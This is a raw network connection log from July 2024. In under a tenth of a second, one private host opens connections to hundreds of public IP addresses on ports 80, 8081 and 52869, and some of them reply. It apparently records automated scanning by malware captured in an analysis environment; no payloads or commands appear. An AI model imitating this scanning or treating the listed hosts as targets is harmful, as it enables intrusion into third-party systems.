Jul 20, 2024 23:05:43.064616919 CEST	8081	43439	206.53.199.156	192.168.2.13
Jul 20, 2024 23:05:43.064640045 CEST	80	21679	95.150.57.17	192.168.2.13
Jul 20, 2024 23:05:43.064642906 CEST	8081	43439	117.162.6.62	192.168.2.13
Jul 20, 2024 23:05:43.064663887 CEST	8081	43439	209.25.30.35	192.168.2.13
Jul 20, 2024 23:05:43.064686060 CEST	8081	43439	1.70.190.239	192.168.2.13
Jul 20, 2024 23:05:43.064711094 CEST	8081	43439	63.54.135.76	192.168.2.13
Jul 20, 2024 23:05:43.064727068 CEST	8081	43439	48.169.101.121	192.168.2.13
Jul 20, 2024 23:05:43.064733982 CEST	80	21679	95.44.131.7	192.168.2.13
Jul 20, 2024 23:05:43.064744949 CEST	8081	43439	223.204.31.236	192.168.2.13
Jul 20, 2024 23:05:43.064771891 CEST	80	21679	95.251.104.124	192.168.2.13
Jul 20, 2024 23:05:43.064774036 CEST	8081	43439	65.70.49.213	192.168.2.13
Jul 20, 2024 23:05:43.064774990 CEST	80	21679	95.117.176.216	192.168.2.13
Jul 20, 2024 23:05:43.064784050 CEST	80	21679	95.255.134.115	192.168.2.13
Jul 20, 2024 23:05:43.064795971 CEST	80	21679	95.134.231.52	192.168.2.13
Jul 20, 2024 23:05:43.064798117 CEST	80	38836	95.229.250.82	192.168.2.13
Jul 20, 2024 23:05:43.064807892 CEST	80	21679	95.174.187.189	192.168.2.13
Jul 20, 2024 23:05:43.064815044 CEST	8081	43439	51.212.187.178	192.168.2.13
Jul 20, 2024 23:05:43.064824104 CEST	80	21679	95.176.222.128	192.168.2.13
Jul 20, 2024 23:05:43.064832926 CEST	80	21679	95.20.54.92	192.168.2.13
Jul 20, 2024 23:05:43.064841986 CEST	80	21679	95.151.29.97	192.168.2.13
Jul 20, 2024 23:05:43.064846992 CEST	80	21679	95.119.193.23	192.168.2.13
Jul 20, 2024 23:05:43.064857006 CEST	80	21679	95.173.129.158	192.168.2.13
Jul 20, 2024 23:05:43.064858913 CEST	80	21679	95.119.202.215	192.168.2.13
Jul 20, 2024 23:05:43.064867973 CEST	80	21679	95.125.200.24	192.168.2.13
Jul 20, 2024 23:05:43.064870119 CEST	80	21679	95.176.228.6	192.168.2.13
Jul 20, 2024 23:05:43.064871073 CEST	80	21679	95.142.80.120	192.168.2.13
Jul 20, 2024 23:05:43.064872980 CEST	80	21679	95.44.11.122	192.168.2.13
Jul 20, 2024 23:05:43.064873934 CEST	80	21679	95.24.41.40	192.168.2.13
Jul 20, 2024 23:05:43.064877033 CEST	8081	43439	170.155.32.1	192.168.2.13
Jul 20, 2024 23:05:43.064886093 CEST	80	21679	95.253.82.51	192.168.2.13
Jul 20, 2024 23:05:43.064909935 CEST	80	54412	95.157.224.56	192.168.2.13
Jul 20, 2024 23:05:43.064918995 CEST	80	21679	95.205.16.212	192.168.2.13
Jul 20, 2024 23:05:43.064920902 CEST	80	21679	95.227.147.79	192.168.2.13
Jul 20, 2024 23:05:43.064924002 CEST	8081	32884	20.191.46.135	192.168.2.13
Jul 20, 2024 23:05:43.064924955 CEST	8081	32884	20.191.46.135	192.168.2.13
Jul 20, 2024 23:05:43.064928055 CEST	8081	32884	20.191.46.135	192.168.2.13
Jul 20, 2024 23:05:43.064939022 CEST	8081	43439	153.125.50.40	192.168.2.13
Jul 20, 2024 23:05:43.064944029 CEST	43695	52869	192.168.2.13	54.23.208.207
Jul 20, 2024 23:05:43.064944029 CEST	43695	52869	192.168.2.13	36.173.185.90
Jul 20, 2024 23:05:43.064944029 CEST	21679	80	192.168.2.13	95.145.56.187
Jul 20, 2024 23:05:43.064944029 CEST	43695	52869	192.168.2.13	181.111.144.2
Jul 20, 2024 23:05:43.064944029 CEST	43695	52869	192.168.2.13	54.210.170.82
Jul 20, 2024 23:05:43.064944029 CEST	43695	52869	192.168.2.13	163.230.224.77
Jul 20, 2024 23:05:43.064953089 CEST	8081	43439	90.54.94.73	192.168.2.13
Jul 20, 2024 23:05:43.064971924 CEST	43346	8081	192.168.2.13	59.118.248.133
Jul 20, 2024 23:05:43.064971924 CEST	43439	8081	192.168.2.13	201.159.112.182
Jul 20, 2024 23:05:43.064999104 CEST	80	47848	95.109.0.167	192.168.2.13
Jul 20, 2024 23:05:43.065007925 CEST	80	21679	95.71.40.201	192.168.2.13
Jul 20, 2024 23:05:43.065011978 CEST	80	21679	95.228.12.109	192.168.2.13
Jul 20, 2024 23:05:43.065017939 CEST	80	21679	95.185.83.211	192.168.2.13
Jul 20, 2024 23:05:43.065051079 CEST	80	49690	95.244.33.243	192.168.2.13
Jul 20, 2024 23:05:43.065798044 CEST	43695	52869	192.168.2.13	119.209.118.223
Jul 20, 2024 23:05:43.065829039 CEST	21679	80	192.168.2.13	95.63.75.116
Jul 20, 2024 23:05:43.065829992 CEST	59526	80	192.168.2.13	95.169.160.58
Jul 20, 2024 23:05:43.065829992 CEST	21679	80	192.168.2.13	95.26.91.145
Jul 20, 2024 23:05:43.065952063 CEST	43695	52869	192.168.2.13	192.121.203.206
Jul 20, 2024 23:05:43.065952063 CEST	43695	52869	192.168.2.13	117.152.1.46
Jul 20, 2024 23:05:43.065952063 CEST	43695	52869	192.168.2.13	1.93.188.107
Jul 20, 2024 23:05:43.065952063 CEST	48492	80	192.168.2.13	95.82.15.117
Jul 20, 2024 23:05:43.065953016 CEST	43695	52869	192.168.2.13	91.45.87.232
Jul 20, 2024 23:05:43.065953016 CEST	43695	52869	192.168.2.13	107.44.96.215
Jul 20, 2024 23:05:43.066456079 CEST	43695	52869	192.168.2.13	157.51.85.188
Jul 20, 2024 23:05:43.066456079 CEST	43695	52869	192.168.2.13	167.214.138.230
Jul 20, 2024 23:05:43.066680908 CEST	43439	8081	192.168.2.13	47.44.23.215
Jul 20, 2024 23:05:43.066899061 CEST	43695	52869	192.168.2.13	168.136.131.227
Jul 20, 2024 23:05:43.066899061 CEST	43695	52869	192.168.2.13	193.55.48.74
Jul 20, 2024 23:05:43.066899061 CEST	43695	52869	192.168.2.13	50.255.5.73
Jul 20, 2024 23:05:43.066899061 CEST	43695	52869	192.168.2.13	4.157.190.129
Jul 20, 2024 23:05:43.066900015 CEST	43695	52869	192.168.2.13	8.194.135.211
Jul 20, 2024 23:05:43.066900015 CEST	43695	52869	192.168.2.13	61.4.31.29
Jul 20, 2024 23:05:43.068840027 CEST	44598	80	192.168.2.13	95.48.33.221
Jul 20, 2024 23:05:43.068840027 CEST	57834	80	192.168.2.13	95.228.200.238
Jul 20, 2024 23:05:43.068840027 CEST	43695	52869	192.168.2.13	206.13.90.182
Jul 20, 2024 23:05:43.068840027 CEST	43695	52869	192.168.2.13	175.246.213.33
Jul 20, 2024 23:05:43.068840027 CEST	43695	52869	192.168.2.13	136.167.58.203
Jul 20, 2024 23:05:43.068840027 CEST	43695	52869	192.168.2.13	123.94.180.32
Jul 20, 2024 23:05:43.069051981 CEST	21679	80	192.168.2.13	95.99.113.17
Jul 20, 2024 23:05:43.069488049 CEST	43695	52869	192.168.2.13	74.135.165.20
Jul 20, 2024 23:05:43.069488049 CEST	21679	80	192.168.2.13	95.25.68.5
Jul 20, 2024 23:05:43.069488049 CEST	43695	52869	192.168.2.13	96.198.250.163
Jul 20, 2024 23:05:43.069488049 CEST	43695	52869	192.168.2.13	93.163.33.196
Jul 20, 2024 23:05:43.069488049 CEST	43695	52869	192.168.2.13	152.5.232.74
Jul 20, 2024 23:05:43.069488049 CEST	43695	52869	192.168.2.13	37.101.251.198
Jul 20, 2024 23:05:43.069488049 CEST	43695	52869	192.168.2.13	145.70.126.217
Jul 20, 2024 23:05:43.070302963 CEST	43695	52869	192.168.2.13	176.196.5.125
Jul 20, 2024 23:05:43.070302963 CEST	43695	52869	192.168.2.13	81.58.226.241
Jul 20, 2024 23:05:43.070303917 CEST	43695	52869	192.168.2.13	94.48.164.27
Jul 20, 2024 23:05:43.070303917 CEST	43695	52869	192.168.2.13	218.163.37.226
Jul 20, 2024 23:05:43.071605921 CEST	43439	8081	192.168.2.13	130.226.197.71
Jul 20, 2024 23:05:43.072818041 CEST	43439	8081	192.168.2.13	216.77.147.81
Jul 20, 2024 23:05:43.072818041 CEST	21679	80	192.168.2.13	95.144.23.155
Jul 20, 2024 23:05:43.073828936 CEST	21679	80	192.168.2.13	95.193.155.89
Jul 20, 2024 23:05:43.073828936 CEST	21679	80	192.168.2.13	95.164.42.177
Jul 20, 2024 23:05:43.073828936 CEST	21679	80	192.168.2.13	95.154.66.63
Jul 20, 2024 23:05:43.074623108 CEST	43695	52869	192.168.2.13	162.170.139.39
Jul 20, 2024 23:05:43.074623108 CEST	43695	52869	192.168.2.13	138.82.111.150
Jul 20, 2024 23:05:43.075839996 CEST	21679	80	192.168.2.13	95.187.144.249
Jul 20, 2024 23:05:43.075839996 CEST	21679	80	192.168.2.13	95.6.153.122
Jul 20, 2024 23:05:43.075839996 CEST	21679	80	192.168.2.13	95.179.242.234
Jul 20, 2024 23:05:43.075839996 CEST	21679	80	192.168.2.13	95.60.54.2
Jul 20, 2024 23:05:43.075839996 CEST	21679	80	192.168.2.13	95.184.28.121
Jul 20, 2024 23:05:43.076081991 CEST	43695	52869	192.168.2.13	167.77.192.96
Jul 20, 2024 23:05:43.076081991 CEST	43695	52869	192.168.2.13	91.183.34.180
Jul 20, 2024 23:05:43.076322079 CEST	45440	80	192.168.2.13	95.130.191.169
Jul 20, 2024 23:05:43.076323032 CEST	43695	52869	192.168.2.13	150.81.30.7
Jul 20, 2024 23:05:43.077389002 CEST	43695	52869	192.168.2.13	84.66.98.107
Jul 20, 2024 23:05:43.077389002 CEST	43695	52869	192.168.2.13	173.45.14.187
Jul 20, 2024 23:05:43.077389002 CEST	21679	80	192.168.2.13	95.13.148.84
Jul 20, 2024 23:05:43.077389002 CEST	43695	52869	192.168.2.13	141.100.64.100
Jul 20, 2024 23:05:43.077389002 CEST	43695	52869	192.168.2.13	206.15.41.191
Jul 20, 2024 23:05:43.078932047 CEST	21679	80	192.168.2.13	95.78.134.162
Jul 20, 2024 23:05:43.078933001 CEST	43439	8081	192.168.2.13	209.25.30.35
Jul 20, 2024 23:05:43.079166889 CEST	54132	80	192.168.2.13	95.194.234.149
Jul 20, 2024 23:05:43.079166889 CEST	21679	80	192.168.2.13	95.218.173.157
Jul 20, 2024 23:05:43.080153942 CEST	43439	8081	192.168.2.13	136.231.77.244
Jul 20, 2024 23:05:43.080153942 CEST	21679	80	192.168.2.13	95.53.153.134
Jul 20, 2024 23:05:43.080153942 CEST	43439	8081	192.168.2.13	206.53.199.156
Jul 20, 2024 23:05:43.080414057 CEST	43695	52869	192.168.2.13	183.161.154.205
Jul 20, 2024 23:05:43.080414057 CEST	60698	80	192.168.2.13	95.12.88.73
Jul 20, 2024 23:05:43.081067085 CEST	43439	8081	192.168.2.13	117.162.6.62
Jul 20, 2024 23:05:43.081067085 CEST	43439	8081	192.168.2.13	1.70.190.239
Jul 20, 2024 23:05:43.081068039 CEST	21679	80	192.168.2.13	95.251.104.124
Jul 20, 2024 23:05:43.081068039 CEST	21679	80	192.168.2.13	95.117.176.216
Jul 20, 2024 23:05:43.081068039 CEST	21679	80	192.168.2.13	95.255.134.115
Jul 20, 2024 23:05:43.082292080 CEST	43695	52869	192.168.2.13	27.108.119.77
Jul 20, 2024 23:05:43.082292080 CEST	21679	80	192.168.2.13	95.90.254.115
Jul 20, 2024 23:05:43.082668066 CEST	43695	52869	192.168.2.13	136.232.246.8
Jul 20, 2024 23:05:43.082668066 CEST	21679	80	192.168.2.13	95.247.95.124
Jul 20, 2024 23:05:43.082830906 CEST	43695	52869	192.168.2.13	208.234.251.123
Jul 20, 2024 23:05:43.082830906 CEST	43695	52869	192.168.2.13	108.1.62.245
Jul 20, 2024 23:05:43.082830906 CEST	43695	52869	192.168.2.13	93.240.35.99
Jul 20, 2024 23:05:43.082830906 CEST	21679	80	192.168.2.13	95.164.3.253
Jul 20, 2024 23:05:43.083453894 CEST	57078	80	192.168.2.13	95.127.71.38
Jul 20, 2024 23:05:43.083796024 CEST	21679	80	192.168.2.13	95.134.231.52
Jul 20, 2024 23:05:43.083796024 CEST	21679	80	192.168.2.13	95.174.187.189
Jul 20, 2024 23:05:43.083796024 CEST	21679	80	192.168.2.13	95.176.222.128
Jul 20, 2024 23:05:43.083796024 CEST	21679	80	192.168.2.13	95.20.54.92
Jul 20, 2024 23:05:43.083796024 CEST	21679	80	192.168.2.13	95.119.193.23
Jul 20, 2024 23:05:43.083796024 CEST	21679	80	192.168.2.13	95.151.29.97
Jul 20, 2024 23:05:43.083796024 CEST	21679	80	192.168.2.13	95.173.129.158
Jul 20, 2024 23:05:43.084619045 CEST	21679	80	192.168.2.13	95.119.202.215
Jul 20, 2024 23:05:43.084619045 CEST	21679	80	192.168.2.13	95.125.200.24
Jul 20, 2024 23:05:43.084619045 CEST	21679	80	192.168.2.13	95.176.228.6
Jul 20, 2024 23:05:43.084619045 CEST	21679	80	192.168.2.13	95.24.41.40
Jul 20, 2024 23:05:43.085052967 CEST	21679	80	192.168.2.13	95.61.185.214
Jul 20, 2024 23:05:43.085052967 CEST	21679	80	192.168.2.13	95.219.88.62
Jul 20, 2024 23:05:43.085052967 CEST	21679	80	192.168.2.13	95.232.212.27
Jul 20, 2024 23:05:43.085432053 CEST	21679	80	192.168.2.13	95.150.57.17
Jul 20, 2024 23:05:43.085849047 CEST	43439	8081	192.168.2.13	90.54.94.73
Jul 20, 2024 23:05:43.086946011 CEST	21679	80	192.168.2.13	95.129.203.17
Jul 20, 2024 23:05:43.087126970 CEST	38836	80	192.168.2.13	95.229.250.82
Jul 20, 2024 23:05:43.088192940 CEST	43439	8081	192.168.2.13	178.81.111.121
Jul 20, 2024 23:05:43.088192940 CEST	21679	80	192.168.2.13	95.59.100.12
Jul 20, 2024 23:05:43.089924097 CEST	43695	52869	192.168.2.13	119.77.177.88
Jul 20, 2024 23:05:43.089924097 CEST	43439	8081	192.168.2.13	120.245.6.162
Jul 20, 2024 23:05:43.089924097 CEST	43695	52869	192.168.2.13	183.251.123.10
Jul 20, 2024 23:05:43.091088057 CEST	21679	80	192.168.2.13	95.5.129.250
Jul 20, 2024 23:05:43.091173887 CEST	43439	8081	192.168.2.13	63.54.135.76
Jul 20, 2024 23:05:43.091173887 CEST	43439	8081	192.168.2.13	65.70.49.213
Jul 20, 2024 23:05:43.092710972 CEST	43695	52869	192.168.2.13	156.227.72.141
Jul 20, 2024 23:05:43.092710972 CEST	43695	52869	192.168.2.13	60.147.187.163
Jul 20, 2024 23:05:43.092710972 CEST	43695	52869	192.168.2.13	82.231.14.253
Jul 20, 2024 23:05:43.092710972 CEST	43695	52869	192.168.2.13	39.57.214.135
Jul 20, 2024 23:05:43.092710972 CEST	43695	52869	192.168.2.13	47.229.190.1
Jul 20, 2024 23:05:43.092710972 CEST	43695	52869	192.168.2.13	131.216.203.92
Jul 20, 2024 23:05:43.093715906 CEST	43439	8081	192.168.2.13	154.38.133.150
Jul 20, 2024 23:05:43.094858885 CEST	21679	80	192.168.2.13	95.44.131.7
Jul 20, 2024 23:05:43.094858885 CEST	43439	8081	192.168.2.13	223.204.31.236
Jul 20, 2024 23:05:43.095273972 CEST	43439	8081	192.168.2.13	121.121.132.42
Jul 20, 2024 23:05:43.095273972 CEST	21679	80	192.168.2.13	95.73.161.139
Jul 20, 2024 23:05:43.098125935 CEST	52976	80	192.168.2.13	95.169.197.20
Jul 20, 2024 23:05:43.098376989 CEST	21679	80	192.168.2.13	95.63.120.216
Jul 20, 2024 23:05:43.098376989 CEST	21679	80	192.168.2.13	95.93.126.166
Jul 20, 2024 23:05:43.098376989 CEST	54968	80	192.168.2.13	95.50.45.64
Jul 20, 2024 23:05:43.099056959 CEST	21679	80	192.168.2.13	95.142.80.120
Jul 20, 2024 23:05:43.099519014 CEST	80	56326	95.15.65.159	192.168.2.13
Jul 20, 2024 23:05:43.099539042 CEST	80	60110	95.186.32.116	192.168.2.13
Jul 20, 2024 23:05:43.099556923 CEST	8081	43439	40.163.150.43	192.168.2.13
Jul 20, 2024 23:05:43.099560022 CEST	80	21679	95.68.188.117	192.168.2.13
Jul 20, 2024 23:05:43.099560976 CEST	8081	43439	84.204.195.22	192.168.2.13
Jul 20, 2024 23:05:43.099617958 CEST	8081	43439	169.83.46.3	192.168.2.13
Jul 20, 2024 23:05:43.099631071 CEST	80	21679	95.58.126.191	192.168.2.13
Jul 20, 2024 23:05:43.099653006 CEST	8081	43439	223.185.221.60	192.168.2.13
Jul 20, 2024 23:05:43.099663973 CEST	8081	43439	216.192.84.208	192.168.2.13
Jul 20, 2024 23:05:43.099675894 CEST	8081	43439	186.83.109.114	192.168.2.13
Jul 20, 2024 23:05:43.099715948 CEST	8081	43439	149.254.125.64	192.168.2.13
Jul 20, 2024 23:05:43.099740982 CEST	8081	43439	79.62.209.143	192.168.2.13
Jul 20, 2024 23:05:43.099751949 CEST	80	21679	95.178.48.208	192.168.2.13
Jul 20, 2024 23:05:43.099807024 CEST	8081	43439	163.129.254.74	192.168.2.13
Jul 20, 2024 23:05:43.099817038 CEST	8081	43439	34.21.127.123	192.168.2.13
Jul 20, 2024 23:05:43.099827051 CEST	8081	43439	171.32.248.17	192.168.2.13
Jul 20, 2024 23:05:43.099828959 CEST	80	21679	95.217.156.9	192.168.2.13
Jul 20, 2024 23:05:43.099837065 CEST	80	21679	95.48.0.218	192.168.2.13
Jul 20, 2024 23:05:43.099845886 CEST	8081	43439	120.108.46.247	192.168.2.13
Jul 20, 2024 23:05:43.099852085 CEST	80	21679	95.74.151.4	192.168.2.13
Jul 20, 2024 23:05:43.099858999 CEST	8081	43439	48.164.38.44	192.168.2.13
Jul 20, 2024 23:05:43.099869967 CEST	80	21679	95.205.227.214	192.168.2.13
Jul 20, 2024 23:05:43.099873066 CEST	80	21679	95.212.120.213	192.168.2.13
Jul 20, 2024 23:05:43.099874020 CEST	80	21679	95.81.35.82	192.168.2.13
Jul 20, 2024 23:05:43.099879026 CEST	8081	43439	124.59.243.113	192.168.2.13
Jul 20, 2024 23:05:43.099879980 CEST	80	21679	95.103.80.130	192.168.2.13
Jul 20, 2024 23:05:43.099883080 CEST	80	21679	95.197.212.159	192.168.2.13
Jul 20, 2024 23:05:43.099888086 CEST	80	55516	95.91.176.183	192.168.2.13
Jul 20, 2024 23:05:43.099889040 CEST	80	51714	95.71.68.243	192.168.2.13
Jul 20, 2024 23:05:43.099893093 CEST	80	21679	95.229.244.13	192.168.2.13
Jul 20, 2024 23:05:43.099901915 CEST	80	21679	95.248.104.247	192.168.2.13
Jul 20, 2024 23:05:43.099915981 CEST	8081	43439	130.239.126.59	192.168.2.13
Jul 20, 2024 23:05:43.099916935 CEST	80	60804	95.96.165.243	192.168.2.13
Jul 20, 2024 23:05:43.099920034 CEST	8081	43439	23.148.119.156	192.168.2.13
Jul 20, 2024 23:05:43.099925995 CEST	80	21679	95.194.61.114	192.168.2.13
Jul 20, 2024 23:05:43.099926949 CEST	8081	43439	163.100.187.60	192.168.2.13
Jul 20, 2024 23:05:43.099930048 CEST	8081	48480	86.28.105.133	192.168.2.13
Jul 20, 2024 23:05:43.099935055 CEST	8081	43439	58.113.54.112	192.168.2.13
Jul 20, 2024 23:05:43.099936962 CEST	8081	43439	74.190.77.77	192.168.2.13
Jul 20, 2024 23:05:43.099941969 CEST	80	21679	95.105.206.21	192.168.2.13
Jul 20, 2024 23:05:43.099942923 CEST	80	21679	95.141.130.14	192.168.2.13
Jul 20, 2024 23:05:43.099946022 CEST	8081	43439	194.194.183.169	192.168.2.13
Jul 20, 2024 23:05:43.099948883 CEST	8081	43439	128.96.85.145	192.168.2.13
Jul 20, 2024 23:05:43.099950075 CEST	80	21679	95.189.62.182	192.168.2.13
Jul 20, 2024 23:05:43.099951982 CEST	80	21679	95.65.29.161	192.168.2.13
Jul 20, 2024 23:05:43.099956989 CEST	80	42704	95.92.0.189	192.168.2.13
Jul 20, 2024 23:05:43.099956989 CEST	80	21679	95.46.239.234	192.168.2.13
Jul 20, 2024 23:05:43.099957943 CEST	8081	43439	8.134.236.12	192.168.2.13
Jul 20, 2024 23:05:43.099977970 CEST	80	41720	95.133.102.226	192.168.2.13
Jul 20, 2024 23:05:43.099992037 CEST	80	21679	95.44.80.64	192.168.2.13
Jul 20, 2024 23:05:43.100001097 CEST	80	21679	95.19.83.254	192.168.2.13
Jul 20, 2024 23:05:43.100008965 CEST	80	21679	95.208.55.23	192.168.2.13
Jul 20, 2024 23:05:43.100012064 CEST	8081	43439	24.112.179.33	192.168.2.13
Jul 20, 2024 23:05:43.100014925 CEST	80	21679	95.5.11.143	192.168.2.13
Jul 20, 2024 23:05:43.100034952 CEST	80	21679	95.130.235.196	192.168.2.13
Jul 20, 2024 23:05:43.100035906 CEST	8081	38060	129.234.53.71	192.168.2.13
Jul 20, 2024 23:05:43.100044012 CEST	80	21679	95.94.166.207	192.168.2.13
Jul 20, 2024 23:05:43.100045919 CEST	80	21679	95.241.83.100	192.168.2.13
Jul 20, 2024 23:05:43.100049973 CEST	80	21679	95.29.14.28	192.168.2.13
Jul 20, 2024 23:05:43.100050926 CEST	80	21679	95.73.98.84	192.168.2.13
Jul 20, 2024 23:05:43.100056887 CEST	8081	43439	178.118.11.0	192.168.2.13
Jul 20, 2024 23:05:43.100058079 CEST	80	50186	95.70.247.253	192.168.2.13
Jul 20, 2024 23:05:43.100070000 CEST	8081	43439	118.46.63.51	192.168.2.13
Jul 20, 2024 23:05:43.100079060 CEST	80	50800	95.18.187.147	192.168.2.13
Jul 20, 2024 23:05:43.100080967 CEST	8081	51946	137.17.247.121	192.168.2.13
Jul 20, 2024 23:05:43.100085020 CEST	8081	43439	211.204.217.228	192.168.2.13
Jul 20, 2024 23:05:43.100086927 CEST	80	21679	95.224.105.26	192.168.2.13
Jul 20, 2024 23:05:43.100090981 CEST	80	21679	95.128.241.221	192.168.2.13
Jul 20, 2024 23:05:43.100092888 CEST	80	21679	95.249.241.4	192.168.2.13
Jul 20, 2024 23:05:43.100105047 CEST	80	21679	95.50.232.4	192.168.2.13
Jul 20, 2024 23:05:43.100116968 CEST	80	21679	95.78.129.45	192.168.2.13
Jul 20, 2024 23:05:43.100121975 CEST	80	21679	95.139.99.20	192.168.2.13
Jul 20, 2024 23:05:43.100130081 CEST	80	21679	95.130.98.115	192.168.2.13
Jul 20, 2024 23:05:43.100132942 CEST	8081	43439	203.155.52.220	192.168.2.13
Jul 20, 2024 23:05:43.100137949 CEST	21679	80	192.168.2.13	95.27.3.0
Jul 20, 2024 23:05:43.100140095 CEST	80	46822	95.33.23.31	192.168.2.13
Jul 20, 2024 23:05:43.100137949 CEST	21679	80	192.168.2.13	95.77.64.151
Jul 20, 2024 23:05:43.100137949 CEST	21679	80	192.168.2.13	95.191.157.59
Jul 20, 2024 23:05:43.100137949 CEST	33900	80	192.168.2.13	95.89.249.69
Jul 20, 2024 23:05:43.100146055 CEST	8081	43439	207.35.85.250	192.168.2.13
Jul 20, 2024 23:05:43.100147963 CEST	8081	36642	100.189.148.44	192.168.2.13
Jul 20, 2024 23:05:43.100153923 CEST	8081	43439	199.4.202.86	192.168.2.13
Jul 20, 2024 23:05:43.100172043 CEST	8081	43439	53.214.210.210	192.168.2.13
Jul 20, 2024 23:05:43.100227118 CEST	8081	43439	113.63.91.161	192.168.2.13
Jul 20, 2024 23:05:43.100233078 CEST	8081	50424	32.17.126.48	192.168.2.13
Jul 20, 2024 23:05:43.100234032 CEST	80	36420	95.42.35.197	192.168.2.13
Jul 20, 2024 23:05:43.100246906 CEST	8081	43439	158.175.68.21	192.168.2.13
Jul 20, 2024 23:05:43.100248098 CEST	8081	45274	115.217.160.85	192.168.2.13
Jul 20, 2024 23:05:43.100264072 CEST	80	33256	95.85.44.222	192.168.2.13
Jul 20, 2024 23:05:43.100265026 CEST	8081	50834	36.176.160.146	192.168.2.13
Jul 20, 2024 23:05:43.100274086 CEST	8081	43439	217.184.27.142	192.168.2.13
Jul 20, 2024 23:05:43.100306034 CEST	8081	43439	50.181.110.97	192.168.2.13
Jul 20, 2024 23:05:43.100308895 CEST	8081	43439	57.229.203.107	192.168.2.13
Jul 20, 2024 23:05:43.100318909 CEST	8081	43439	189.228.47.46	192.168.2.13
Jul 20, 2024 23:05:43.100327969 CEST	8081	43439	163.63.170.97	192.168.2.13
Jul 20, 2024 23:05:43.100334883 CEST	8081	43439	5.161.41.42	192.168.2.13
Jul 20, 2024 23:05:43.100356102 CEST	8081	43439	205.22.186.0	192.168.2.13
Jul 20, 2024 23:05:43.100364923 CEST	8081	43439	66.126.223.53	192.168.2.13
Jul 20, 2024 23:05:43.100389004 CEST	8081	43439	125.235.244.170	192.168.2.13
Jul 20, 2024 23:05:43.100389957 CEST	8081	43439	100.250.253.37	192.168.2.13
Jul 20, 2024 23:05:43.100395918 CEST	80	39770	95.129.69.195	192.168.2.13
Jul 20, 2024 23:05:43.100414038 CEST	8081	43439	151.217.231.238	192.168.2.13
Jul 20, 2024 23:05:43.100425959 CEST	80	38250	95.22.148.165	192.168.2.13
Jul 20, 2024 23:05:43.100426912 CEST	80	58898	95.244.225.178	192.168.2.13
Jul 20, 2024 23:05:43.100429058 CEST	8081	43439	223.88.3.243	192.168.2.13
Jul 20, 2024 23:05:43.100505114 CEST	43439	8081	192.168.2.13	1.220.154.182
Jul 20, 2024 23:05:43.100505114 CEST	21679	80	192.168.2.13	95.68.217.1
Jul 20, 2024 23:05:43.112888098 CEST	43439	8081	192.168.2.13	186.83.109.114
Jul 20, 2024 23:05:43.113033056 CEST	43439	8081	192.168.2.13	40.163.150.43
Jul 20, 2024 23:05:43.114902973 CEST	43439	8081	192.168.2.13	157.212.128.61
Jul 20, 2024 23:05:43.114902973 CEST	21679	80	192.168.2.13	95.137.177.170
Jul 20, 2024 23:05:43.114902973 CEST	43439	8081	192.168.2.13	68.152.129.142
Jul 20, 2024 23:05:43.115323067 CEST	43439	8081	192.168.2.13	194.194.183.169
Jul 20, 2024 23:05:43.115323067 CEST	43439	8081	192.168.2.13	8.134.236.12
Jul 20, 2024 23:05:43.115323067 CEST	50186	80	192.168.2.13	95.70.247.253
Jul 20, 2024 23:05:43.115804911 CEST	43439	8081	192.168.2.13	79.62.209.143
Jul 20, 2024 23:05:43.115804911 CEST	43439	8081	192.168.2.13	34.21.127.123
Jul 20, 2024 23:05:43.117579937 CEST	50800	80	192.168.2.13	95.18.187.147
Jul 20, 2024 23:05:43.117646933 CEST	60804	80	192.168.2.13	95.96.165.243
Jul 20, 2024 23:05:43.120013952 CEST	43439	8081	192.168.2.13	211.204.217.228
Jul 20, 2024 23:05:43.120013952 CEST	43439	8081	192.168.2.13	203.155.52.220
Jul 20, 2024 23:05:43.121341944 CEST	21679	80	192.168.2.13	95.185.83.211
Jul 20, 2024 23:05:43.121341944 CEST	49690	80	192.168.2.13	95.244.33.243
Jul 20, 2024 23:05:43.121536016 CEST	43439	8081	192.168.2.13	223.9.8.159
Jul 20, 2024 23:05:43.121536016 CEST	21679	80	192.168.2.13	95.134.130.6
Jul 20, 2024 23:05:43.121803045 CEST	43439	8081	192.168.2.13	216.192.84.208
Jul 20, 2024 23:05:43.122792959 CEST	21679	80	192.168.2.13	95.87.148.107
Jul 20, 2024 23:05:43.122792959 CEST	43402	80	192.168.2.13	95.68.157.52
Jul 20, 2024 23:05:43.124370098 CEST	33256	80	192.168.2.13	95.85.44.222
Jul 20, 2024 23:05:43.124370098 CEST	43439	8081	192.168.2.13	57.229.203.107
Jul 20, 2024 23:05:43.125902891 CEST	43439	8081	192.168.2.13	48.169.101.121
Jul 20, 2024 23:05:43.126697063 CEST	38250	80	192.168.2.13	95.22.148.165
Jul 20, 2024 23:05:43.128863096 CEST	38060	8081	192.168.2.13	129.234.53.71
Jul 20, 2024 23:05:43.128863096 CEST	51946	8081	192.168.2.13	137.17.247.121
Jul 20, 2024 23:05:43.128863096 CEST	36642	8081	192.168.2.13	100.189.148.44
Jul 20, 2024 23:05:43.129081011 CEST	43439	8081	192.168.2.13	125.235.244.170
Jul 20, 2024 23:05:43.131072998 CEST	43439	8081	192.168.2.13	51.212.187.178
Jul 20, 2024 23:05:43.131352901 CEST	43439	8081	192.168.2.13	170.155.32.1
Jul 20, 2024 23:05:43.133059978 CEST	43439	8081	192.168.2.13	199.4.202.86
Jul 20, 2024 23:05:43.133059978 CEST	43439	8081	192.168.2.13	5.161.41.42
Jul 20, 2024 23:05:43.135749102 CEST	21679	80	192.168.2.13	95.227.147.79
Jul 20, 2024 23:05:43.139868021 CEST	47848	80	192.168.2.13	95.109.0.167
Jul 20, 2024 23:05:43.141508102 CEST	21679	80	192.168.2.13	95.205.16.212
Jul 20, 2024 23:05:43.141508102 CEST	32884	8081	192.168.2.13	20.191.46.135
Jul 20, 2024 23:05:43.141508102 CEST	43439	8081	192.168.2.13	153.125.50.40
Jul 20, 2024 23:05:43.141508102 CEST	21679	80	192.168.2.13	95.228.12.109
Jul 20, 2024 23:05:43.143091917 CEST	60110	80	192.168.2.13	95.186.32.116
Jul 20, 2024 23:05:43.144453049 CEST	21679	80	192.168.2.13	95.44.11.122
Jul 20, 2024 23:05:43.144453049 CEST	21679	80	192.168.2.13	95.253.82.51
Jul 20, 2024 23:05:43.151925087 CEST	54412	80	192.168.2.13	95.157.224.56
Jul 20, 2024 23:05:43.151925087 CEST	21679	80	192.168.2.13	95.71.40.201
Jul 20, 2024 23:05:43.155884981 CEST	21679	80	192.168.2.13	95.68.188.117
Jul 20, 2024 23:05:43.159353018 CEST	21679	80	192.168.2.13	95.58.126.191
Jul 20, 2024 23:05:43.159353018 CEST	43439	8081	192.168.2.13	169.83.46.3
